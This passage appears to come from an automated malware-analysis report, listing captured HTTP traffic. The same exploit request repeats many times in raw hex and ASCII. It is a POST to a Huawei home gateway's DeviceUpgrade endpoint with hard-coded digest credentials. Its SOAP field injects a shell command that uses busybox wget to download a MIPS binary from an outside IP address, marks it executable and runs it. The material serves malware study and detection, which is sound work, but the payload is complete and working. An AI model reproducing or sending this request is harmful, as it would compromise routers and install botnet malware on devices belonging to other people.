xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.248.167.251 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 36 37 2e 32 35 31 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.248.167.251 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 36 37 2e 32 35 31 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.248.167.251 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 36 37 2e 32 35 31 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.248.167.251 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 36 37 2e 32 35 31 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.248.167.251 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 36 37 2e 32 35 31 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.248.167.251 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 36 37 2e 32 35 31 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.248.167.251 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 36 37 2e 32 35 31 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.248.167.251 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 36 37 2e 32 35 31 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.248.167.251 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 36 37 2e 32 35 31 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.248.167.251 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 